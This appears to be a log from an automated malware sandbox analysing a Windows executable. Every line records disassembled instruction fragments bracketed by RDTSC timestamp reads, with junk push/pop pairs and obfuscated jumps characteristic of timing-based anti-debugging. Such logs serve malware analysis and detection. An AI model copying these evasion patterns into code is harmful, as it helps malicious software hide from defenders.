Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5B22C5 second address: 5B22CB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push esi 0x00000005 pop esi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5B241F second address: 5B242B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jg 00007FA6C4D39086h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5B5DD8 second address: 5B5DDC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5B5DDC second address: 5B5DE0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5B5DE0 second address: 5B5DE6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5B5DE6 second address: 5B5DEB instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5B5DEB second address: 5B5DFB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a pushad 0x0000000b pushad 0x0000000c push ebx 0x0000000d pop ebx 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5B5DFB second address: 5B5E1F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jmp 00007FA6C4D39096h 0x0000000a popad 0x0000000b mov eax, dword ptr [esp+04h] 0x0000000f push eax 0x00000010 pushad 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5B5E1F second address: 5B5E2F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 popad 0x00000007 pop eax 0x00000008 mov eax, dword ptr [eax] 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e pop edx 0x0000000f pop eax 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5B5E2F second address: 5B5E34 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5B5E34 second address: 5B5E65 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FA6C4C2AB3Dh 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c mov dword ptr [esp+04h], eax 0x00000010 push eax 0x00000011 push edx 0x00000012 push eax 0x00000013 push edx 0x00000014 jmp 00007FA6C4C2AB45h 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5B5E65 second address: 5B5E6B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5B5F15 second address: 5B5F19 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5B6021 second address: 5B6091 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop eax 0x00000007 push eax 0x00000008 jnc 00007FA6C4D39094h 0x0000000e nop 0x0000000f call 00007FA6C4D39091h 0x00000014 mov esi, dword ptr [ebp+122D2961h] 0x0000001a pop esi 0x0000001b push 00000000h 0x0000001d push esi 0x0000001e pushad 0x0000001f mov dword ptr [ebp+122D25B2h], edi 0x00000025 mov ecx, 0C71D491h 0x0000002a popad 0x0000002b pop edx 0x0000002c call 00007FA6C4D39089h 0x00000031 ja 00007FA6C4D3909Ch 0x00000037 jmp 00007FA6C4D39096h 0x0000003c push eax 0x0000003d pushad 0x0000003e push ecx 0x0000003f push eax 0x00000040 push edx 0x00000041 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5B6091 second address: 5B609A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 push eax 0x00000006 push edx 0x00000007 pushad 0x00000008 popad 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5B609A second address: 5B60D4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 mov eax, dword ptr [esp+04h] 0x0000000b jmp 00007FA6C4D39099h 0x00000010 mov eax, dword ptr [eax] 0x00000012 jl 00007FA6C4D3909Eh 0x00000018 push eax 0x00000019 push edx 0x0000001a jmp 00007FA6C4D3908Ch 0x0000001f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5B60D4 second address: 5B6144 instructions: 0x00000000 rdtsc 0x00000002 jo 00007FA6C4C2AB36h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a mov dword ptr [esp+04h], eax 0x0000000e jng 00007FA6C4C2AB42h 0x00000014 pop eax 0x00000015 push 00000000h 0x00000017 push ecx 0x00000018 call 00007FA6C4C2AB38h 0x0000001d pop ecx 0x0000001e mov dword ptr [esp+04h], ecx 0x00000022 add dword ptr [esp+04h], 0000001Dh 0x0000002a inc ecx 0x0000002b push ecx 0x0000002c ret 0x0000002d pop ecx 0x0000002e ret 0x0000002f push 00000003h 0x00000031 or edx, dword ptr [ebp+122D2B8Dh] 0x00000037 push 00000000h 0x00000039 mov esi, dword ptr [ebp+122D1DE3h] 0x0000003f push 00000003h 0x00000041 mov edi, eax 0x00000043 push 9E7D6B5Ch 0x00000048 pushad 0x00000049 jo 00007FA6C4C2AB3Ch 0x0000004f jc 00007FA6C4C2AB36h 0x00000055 push eax 0x00000056 push edx 0x00000057 push ebx 0x00000058 pop ebx 0x00000059 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5B61BB second address: 5B61DC instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 mov dword ptr [esp], eax 0x00000009 mov edi, dword ptr [ebp+122D29ADh] 0x0000000f push 00000000h 0x00000011 mov dword ptr [ebp+122D1E12h], edi 0x00000017 push 00D677CBh 0x0000001c pushad 0x0000001d push eax 0x0000001e push edx 0x0000001f pushad 0x00000020 popad 0x00000021 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5B61DC second address: 5B6247 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jnl 00007FA6C4C2AB38h 0x0000000c popad 0x0000000d xor dword ptr [esp], 00D6774Bh 0x00000014 add di, 5B97h 0x00000019 push 00000003h 0x0000001b push 00000000h 0x0000001d push ebp 0x0000001e call 00007FA6C4C2AB38h 0x00000023 pop ebp 0x00000024 mov dword ptr [esp+04h], ebp 0x00000028 add dword ptr [esp+04h], 00000019h 0x00000030 inc ebp 0x00000031 push ebp 0x00000032 ret 0x00000033 pop ebp 0x00000034 ret 0x00000035 add dword ptr [ebp+122D246Fh], esi 0x0000003b mov ch, al 0x0000003d push 00000000h 0x0000003f movsx edx, di 0x00000042 push 00000003h 0x00000044 jmp 00007FA6C4C2AB3Dh 0x00000049 adc dl, 00000020h 0x0000004c call 00007FA6C4C2AB39h 0x00000051 pushad 0x00000052 push eax 0x00000053 push edx 0x00000054 push eax 0x00000055 pop eax 0x00000056 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5B6247 second address: 5B628F instructions: 0x00000000 rdtsc 0x00000002 jc 00007FA6C4D39086h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a jne 00007FA6C4D39095h 0x00000010 popad 0x00000011 push eax 0x00000012 pushad 0x00000013 push esi 0x00000014 pushad 0x00000015 popad 0x00000016 pop esi 0x00000017 push ecx 0x00000018 jp 00007FA6C4D39086h 0x0000001e pop ecx 0x0000001f popad 0x00000020 mov eax, dword ptr [esp+04h] 0x00000024 pushad 0x00000025 push eax 0x00000026 push edx 0x00000027 jmp 00007FA6C4D39092h 0x0000002c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5B628F second address: 5B6293 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5B6293 second address: 5B631E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 jmp 00007FA6C4D39099h 0x0000000c jmp 00007FA6C4D39090h 0x00000011 popad 0x00000012 popad 0x00000013 mov eax, dword ptr [eax] 0x00000015 jno 00007FA6C4D39092h 0x0000001b mov dword ptr [esp+04h], eax 0x0000001f jmp 00007FA6C4D39095h 0x00000024 pop eax 0x00000025 mov esi, dword ptr [ebp+122D2975h] 0x0000002b lea ebx, dword ptr [ebp+12459D29h] 0x00000031 xchg eax, ebx 0x00000032 jbe 00007FA6C4D3908Eh 0x00000038 push ecx 0x00000039 jg 00007FA6C4D39086h 0x0000003f pop ecx 0x00000040 push eax 0x00000041 push eax 0x00000042 push edx 0x00000043 jmp 00007FA6C4D3908Dh 0x00000048 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5D5B57 second address: 5D5B6C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FA6C4C2AB41h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5D5B6C second address: 5D5B8A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007FA6C4D39099h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5D399D second address: 5D39A5 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5D3FB2 second address: 5D3FB6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5D3FB6 second address: 5D3FBA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5D42B3 second address: 5D42D0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FA6C4D3908Ch 0x00000009 popad 0x0000000a popad 0x0000000b pushad 0x0000000c push eax 0x0000000d push edx 0x0000000e jno 00007FA6C4D39086h 0x00000014 pushad 0x00000015 popad 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5D45FF second address: 5D4603 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5D4603 second address: 5D4607 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5D4607 second address: 5D4613 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnp 00007FA6C4C2AB36h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5D4613 second address: 5D4622 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FA6C4D3908Bh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5D4622 second address: 5D4628 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5D4628 second address: 5D463B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pushad 0x00000009 push eax 0x0000000a push edx 0x0000000b push edi 0x0000000c pop edi 0x0000000d jnc 00007FA6C4D39086h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5D47A1 second address: 5D47A6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5D47A6 second address: 5D47AE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5D47AE second address: 5D47B2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5D47B2 second address: 5D47EE instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FA6C4D3908Dh 0x00000007 je 00007FA6C4D39086h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f jmp 00007FA6C4D39099h 0x00000014 pop edx 0x00000015 pop eax 0x00000016 jp 00007FA6C4D390A4h 0x0000001c push eax 0x0000001d push edx 0x0000001e push eax 0x0000001f push edx 0x00000020 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5D47EE second address: 5D47F2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5CAC46 second address: 5CAC62 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 jmp 00007FA6C4D39096h 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5CAC62 second address: 5CAC72 instructions: 0x00000000 rdtsc 0x00000002 jp 00007FA6C4C2AB36h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d popad 0x0000000e push esi 0x0000000f pop esi 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5CAC72 second address: 5CAC76 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5D5404 second address: 5D5416 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnc 00007FA6C4C2AB36h 0x0000000a push edx 0x0000000b pop edx 0x0000000c popad 0x0000000d popad 0x0000000e pushad 0x0000000f pushad 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5D570E second address: 5D5732 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FA6C4D39097h 0x00000007 jnl 00007FA6C4D39086h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f push eax 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5D59D3 second address: 5D59D7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5D8089 second address: 5D808F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5A02B6 second address: 5A02BA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5A02BA second address: 5A02C7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 push eax 0x00000008 push edx 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5A02C7 second address: 5A02CD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5A02CD second address: 5A02D1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5A02D1 second address: 5A02FC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 jg 00007FA6C4C2AB36h 0x0000000d jmp 00007FA6C4C2AB45h 0x00000012 pushad 0x00000013 popad 0x00000014 ja 00007FA6C4C2AB36h 0x0000001a popad 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5A02FC second address: 5A030F instructions: 0x00000000 rdtsc 0x00000002 jp 00007FA6C4D3908Eh 0x00000008 push edx 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5E138C second address: 5E13B3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jnc 00007FA6C4C2AB52h 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5E13B3 second address: 5E13C6 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FA6C4D3908Bh 0x00000007 push eax 0x00000008 push edx 0x00000009 push ebx 0x0000000a pop ebx 0x0000000b push edi 0x0000000c pop edi 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5E154F second address: 5E1555 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5E1555 second address: 5E155B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5E155B second address: 5E1587 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jmp 00007FA6C4C2AB3Ah 0x0000000a pop edi 0x0000000b push edi 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007FA6C4C2AB47h 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5E1587 second address: 5E158B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5E158B second address: 5E158F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5E16BD second address: 5E16C3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5E1C49 second address: 5E1C4D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5E1C4D second address: 5E1C5E instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 push esi 0x00000005 pop esi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pop esi 0x00000009 push eax 0x0000000a push edx 0x0000000b push edi 0x0000000c pushad 0x0000000d popad 0x0000000e pushad 0x0000000f popad 0x00000010 pop edi 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5E3AD8 second address: 5E3ADD instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5E3BCB second address: 5E3BD0 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5E3D72 second address: 5E3D88 instructions: 0x00000000 rdtsc 0x00000002 jo 00007FA6C4C2AB36h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a popad 0x0000000b push eax 0x0000000c push eax 0x0000000d push edx 0x0000000e push ebx 0x0000000f jp 00007FA6C4C2AB36h 0x00000015 pop ebx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5E3E59 second address: 5E3E70 instructions: 0x00000000 rdtsc 0x00000002 jne 00007FA6C4D3908Ch 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f pushad 0x00000010 popad 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5E3E70 second address: 5E3E76 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5E3F35 second address: 5E3F3A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5E3F3A second address: 5E3F40 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5E3FD5 second address: 5E3FED instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jo 00007FA6C4D39086h 0x0000000a popad 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007FA6C4D3908Bh 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5E3FED second address: 5E3FF1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5E4480 second address: 5E44EA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jno 00007FA6C4D39086h 0x0000000a popad 0x0000000b pop esi 0x0000000c mov dword ptr [esp], eax 0x0000000f add edi, dword ptr [ebp+122D2ADDh] 0x00000015 push 00000000h 0x00000017 push 00000000h 0x00000019 push ecx 0x0000001a call 00007FA6C4D39088h 0x0000001f pop ecx 0x00000020 mov dword ptr [esp+04h], ecx 0x00000024 add dword ptr [esp+04h], 00000016h 0x0000002c inc ecx 0x0000002d push ecx 0x0000002e ret 0x0000002f pop ecx 0x00000030 ret 0x00000031 push 00000000h 0x00000033 push 00000000h 0x00000035 push ecx 0x00000036 call 00007FA6C4D39088h 0x0000003b pop ecx 0x0000003c mov dword ptr [esp+04h], ecx 0x00000040 add dword ptr [esp+04h], 0000001Ah 0x00000048 inc ecx 0x00000049 push ecx 0x0000004a ret 0x0000004b pop ecx 0x0000004c ret 0x0000004d push ebx 0x0000004e movzx esi, di 0x00000051 pop esi 0x00000052 push eax 0x00000053 jnp 00007FA6C4D39090h 0x00000059 pushad 0x0000005a push eax 0x0000005b pop eax 0x0000005c push eax 0x0000005d push edx 0x0000005e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5E4D10 second address: 5E4D14 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5E56CF second address: 5E56DA instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jp 00007FA6C4D39086h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5E4D14 second address: 5E4D3D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007FA6C4C2AB43h 0x0000000b popad 0x0000000c push eax 0x0000000d push eax 0x0000000e push edx 0x0000000f jc 00007FA6C4C2AB3Ch 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5E5EA4 second address: 5E5EA8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5E5EA8 second address: 5E5EAC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5E5EAC second address: 5E5EB2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5E5EB2 second address: 5E5EBC instructions: 0x00000000 rdtsc 0x00000002 jp 00007FA6C4C2AB3Ch 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5E5EBC second address: 5E5F07 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 mov dword ptr [esp], eax 0x00000009 push 00000000h 0x0000000b push ebp 0x0000000c call 00007FA6C4D39088h 0x00000011 pop ebp 0x00000012 mov dword ptr [esp+04h], ebp 0x00000016 add dword ptr [esp+04h], 00000016h 0x0000001e inc ebp 0x0000001f push ebp 0x00000020 ret 0x00000021 pop ebp 0x00000022 ret 0x00000023 push 00000000h 0x00000025 mov si, 8300h 0x00000029 push 00000000h 0x0000002b jo 00007FA6C4D3908Ch 0x00000031 xor dword ptr [ebp+122D25B2h], eax 0x00000037 mov dword ptr [ebp+122D1D33h], eax 0x0000003d push eax 0x0000003e pushad 0x0000003f push eax 0x00000040 push edx 0x00000041 jl 00007FA6C4D39086h 0x00000047 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5E5F07 second address: 5E5F15 instructions: 0x00000000 rdtsc 0x00000002 jg 00007FA6C4C2AB36h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c push ecx 0x0000000d pop ecx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5E68F2 second address: 5E68F6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5E66C2 second address: 5E66D3 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FA6C4C2AB3Dh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5E68F6 second address: 5E68FD instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 pop eax 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
